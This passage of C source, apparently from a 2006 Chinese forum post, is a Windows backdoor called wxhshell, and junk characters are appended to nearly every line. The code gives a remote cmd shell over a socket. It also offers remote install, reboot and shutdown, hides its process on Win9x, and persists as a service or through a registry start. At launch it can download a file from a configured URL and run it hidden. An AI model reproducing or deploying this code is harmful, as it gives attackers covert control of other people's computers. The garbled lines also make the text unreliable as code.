  // 帮助 rJfqA@  
  case '?': { M~ h8Crz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =d;Vk  
    break; p#8W#t$  
  } ekSY~z=/u  
  // 安装 $6f\uuTU2"  
  case 'i': { pa .K-e)Mu  
    if(Install()) l0]d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {OMg d3%14  
    else uYO|5a<f~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mio>{%/  
    break; @)YY\l#  
    } **_&i!dtL  
  // 卸载 5t:8.%<UK  
  case 'r': { qztV,R T  
    if(Uninstall()) YhKZ|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l3i,K^YL  
    else eH>#6R1-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]5CNk+`'  
    break; `i!wq&1g7  
    } EYS>0Y  
  // 显示 wxhshell 所在路径 ;I6s-moq_  
  case 'p': { MEZ{j%-a  
    char svExeFile[MAX_PATH]; ~.tvrx g  
    strcpy(svExeFile,"\n\r"); &&8'0 .M{  
      strcat(svExeFile,ExeFile); Q%=YM4;  
        send(wsh,svExeFile,strlen(svExeFile),0); cL7g}$W $  
    break; haSM=;uPM  
    } N0TeqOi4Y  
  // 重启 < +`(\  
  case 'b': { !F4;_A`X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n$+M%}/f  
    if(Boot(REBOOT)) +JdZPb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {[G`Z9]z&-  
    else { U5ZX78>a  
    closesocket(wsh); @M;(K<%h  
    ExitThread(0); !|{IVm/J  
    } .QWhK|(.!  
    break; :> -1'HC  
    } 6 DF  
  // 关机 iDb;_?  
  case 'd': { E0f{iO;}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {eZ{]  
    if(Boot(SHUTDOWN)) :KE/!]z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ShgJ ;! Q  
    else { F3E[wdT  
    closesocket(wsh); n2-0.Er  
    ExitThread(0); _2Zp1h,  
    } UGKaOol.  
    break; /Bv#) -5  
    } A*]$v  
  // 获取shell |Ur"za;%@  
  case 's': { wrv5V M}  
    CmdShell(wsh); 2Oc$+St~8  
    closesocket(wsh); >%%=0!,yX  
    ExitThread(0); zQ)+/e(8  
    break; Opg#*w%-  
  } D,;\F,p  
  // 退出 K'b*A$5o  
  case 'x': { 7k8n@39?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 02b6s&L  
    CloseIt(wsh); pWaPC /,g  
    break; 2: ^njqX  
    } 'x%x'9OP  
  // 离开 L:f)i,S"5q  
  case 'q': { MiGcA EF;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #6> 6S;Ib  
    closesocket(wsh);  -;c  
    WSACleanup(); )m#']c:rg  
    exit(1); c[(Pg%  
    break; 2W$lQ;iO  
        } bH9Le  
  } T 1Cs>#)  
  } $Xf(^K  
f6ZZ}lwaV  
  // 提示信息 =Viy^ieN$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oK+Lzb\d{M  
} kn  Hv?#  
  } }[=YU%[o:  
"dCzWFet  
  return; Uene=Q6>  
} Ol+Kp!ocY  
@)0 Y~A )  
// shell模块句柄 Go8F5a@j  
int CmdShell(SOCKET sock) -F`he=Ev9  
{ *@M3p}',M  
STARTUPINFO si; zB)%lb  
ZeroMemory(&si,sizeof(si)); "kSwa16O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Ow,CUd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9M2f!kJP$  
PROCESS_INFORMATION ProcessInfo; JZx%J)  
char cmdline[]="cmd"; h_ ZX/k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ =.CTm]vf  
  return 0; FmT `Oa>  
} Ye |G44z  
6Z c)0I'  
// 自身启动模式 )/Y~6A9>  
int StartFromService(void) g9V.13k  
{ _}=E^/;(  
typedef struct +VOb  
{ gxM[V>[  
  DWORD ExitStatus; [thboP.?  
  DWORD PebBaseAddress; /H&aMk}J@y  
  DWORD AffinityMask; Auac>')&Q  
  DWORD BasePriority; Q_}n%P:u  
  ULONG UniqueProcessId; <94WZ?{p  
  ULONG InheritedFromUniqueProcessId; 'p)QyL`d  
}   PROCESS_BASIC_INFORMATION; Lk nVqZ|k  
eP|)SU  
PROCNTQSIP NtQueryInformationProcess; <Cq"| A  
TzF0/T!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fv ?45f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; otnV-7)@  
VkXn8J  
  HANDLE             hProcess; V/-MIH7SF  
  PROCESS_BASIC_INFORMATION pbi; (j N]OE^  
dXZP[K#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <!!nI%NC  
  if(NULL == hInst ) return 0; AU`OESSI  
NbDda/7ki  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B9W/bJ6%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jtLn j@,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B\zoJg&7(  
F@^N|;_2  
  if (!NtQueryInformationProcess) return 0; K+> V|zKuk  
=1Sy@MbH3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,;3:pr  
  if(!hProcess) return 0; |_I[1%&`N  
s01$fFJgO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 88YC0!Ni  
lko3]A3  
  CloseHandle(hProcess); gvr]]}h:O  
k+txb?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S)Mby  
if(hProcess==NULL) return 0; F*!gzKZ"  
1>;6x^_h0S  
HMODULE hMod; p XNtN5@FQ  
char procName[255]; B[7A  
unsigned long cbNeeded; ck~ '`<7  
S5/p=H:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8J^d7uC  
dcP88!#5-  
  CloseHandle(hProcess); % &2B  
<G}m#  
if(strstr(procName,"services")) return 1; // 以服务启动 &m4f1ZO*  
v C-[#]<  
  return 0; // 注册表启动 :SdIU36  
} l3\9S#3-^  
pKYLAt+^>  
// 主模块 BiE$mM  
int StartWxhshell(LPSTR lpCmdLine) 0@w&J9yG  
{ 8nf4Jk8r  
  SOCKET wsl; u{pTva  
BOOL val=TRUE; Ltl]j*yei  
  int port=0; flPZlL  
  struct sockaddr_in door; wH!}qz /  
@21u I{  
  if(wscfg.ws_autoins) Install(); Z{ %Uw;d  
KG-UW  
port=atoi(lpCmdLine); U#iT<#!l2  
x6jm -n  
if(port<=0) port=wscfg.ws_port; XWc|[>iO  
WEps.]s  
  WSADATA data; '&/(oJ ;O~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zK,~37)\  
Ag<4r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y'?Izn b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 83B\+]{hD  
  door.sin_family = AF_INET; @ljZw(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2,+@# q  
  door.sin_port = htons(port); I? A~zigO  
[;Vi~$p|Eo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l(.7t'  
closesocket(wsl); )!BB/'DRQ  
return 1; l;XUh9RF`A  
} +V6j`  
"[Yip5  
  if(listen(wsl,2) == INVALID_SOCKET) { IM$ 'J  
closesocket(wsl); bL+sN"Km  
return 1; Qa>%[jx,@,  
} |WQD=J%~(  
  Wxhshell(wsl); 69N1 mP  
  WSACleanup(); _Wq7U1v`  
fQ^h{n  
return 0; bn5"dxV  
UzXDi#Ky  
} O2/%mFS.  
R%Kl&c  
// 以NT服务方式启动 gX/|aG$a!U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k&n\ =tKN  
{ Uy:@,DW  
DWORD   status = 0; }ZxW"5oq  
  DWORD   specificError = 0xfffffff; RJQ/y3  
Kw)C{L5a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D-;J;m \  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bDxPgb7N=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /M5=tW#e  
  serviceStatus.dwWin32ExitCode     = 0; y[TaM9<  
  serviceStatus.dwServiceSpecificExitCode = 0; >eTf}#s?S  
  serviceStatus.dwCheckPoint       = 0; I #Arr#%  
  serviceStatus.dwWaitHint       = 0; Rh5@[cg%  
IO?~b XP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e&r+w!  
  if (hServiceStatusHandle==0) return; PGC07U:B  
3 ATN?V@  
status = GetLastError(); {6REfY c  
  if (status!=NO_ERROR) <h)deB+}  
{ +:j4G^V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ly@U\%.  
    serviceStatus.dwCheckPoint       = 0; 1',+&2)oj  
    serviceStatus.dwWaitHint       = 0; !&W"f#_Z  
    serviceStatus.dwWin32ExitCode     = status; r>n8`W  
    serviceStatus.dwServiceSpecificExitCode = specificError; LA(f]Xmc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F>hVrUD8  
    return; cx,u2~43A&  
  } T1Ln)CS?9  
O% j,:t'"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pZNlcB[Qn-  
  serviceStatus.dwCheckPoint       = 0; ?#');`  
  serviceStatus.dwWaitHint       = 0; \J#I}-a&j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J~PTVR  
} n=<q3}1Jej  
[C*X k{e  
// 处理NT服务事件,比如:启动、停止 &k {t0>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0hEF$d6U  
{ @DjG? yLK$  
switch(fdwControl) hNgcE,67q  
{ C 6:pY-  
case SERVICE_CONTROL_STOP: LS?` {E   
  serviceStatus.dwWin32ExitCode = 0; &QHA_+88W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3M5=@Fwkr  
  serviceStatus.dwCheckPoint   = 0; 6M2i? c  
  serviceStatus.dwWaitHint     = 0; ixUiXP  
  { WoN]eO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @idp8J [td  
  } l%3Q=c  
  return; 60SenHKles  
case SERVICE_CONTROL_PAUSE: w^vK7Z 1$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M zA  
  break; a-o hS=W  
case SERVICE_CONTROL_CONTINUE: ! 7#froh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~=aI2(b  
  break; l"V8n BR`  
case SERVICE_CONTROL_INTERROGATE: KH CdO  
  break; mSqk[ Ig\  
}; knj,[7uh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RaJ }>e  
} LP-KD  
#gr+%=S'6C  
// 标准应用程序主函数 VA*79I#_q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F'T= Alf  
{ -t706(#k  
L< nkI  
// 获取操作系统版本 pR^Y|NG!  
OsIsNt=GetOsVer(); 2v; 7ohK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "#"Fp&Z7  
azATKH+j  
  // 从命令行安装 c&iK+qvh{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 71,0v`Z<  
R2Fh^x  
  // 下载执行文件 k kuQ"^<J  
if(wscfg.ws_downexe) { t.i9!'Y ]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Z$=-\<x0.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Q4Pjc D  
} F<'l'AsC-  
3qwYicq,  
if(!OsIsNt) { Jb-QP'$@  
// 如果时win9x,隐藏进程并且设置为注册表启动 kJ5?BdvM&  
HideProc(); %A Du[M.  
StartWxhshell(lpCmdLine); T"0)%k8lJ  
} #p:jKAc3  
else {83He@  
  if(StartFromService()) d?+oT0pCH  
  // 以服务方式启动 s%?p%2&RA  
  StartServiceCtrlDispatcher(DispatchTable); x;b+gIz*  
else lPSDY&`P  
  // 普通方式启动 5@r Zm4U  
  StartWxhshell(lpCmdLine); 9/qS*Zdh)  
hF%~iqd  
return 0; ~{tZ;YZ  
}
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只看该作者 1 发表于: 2006-10-10
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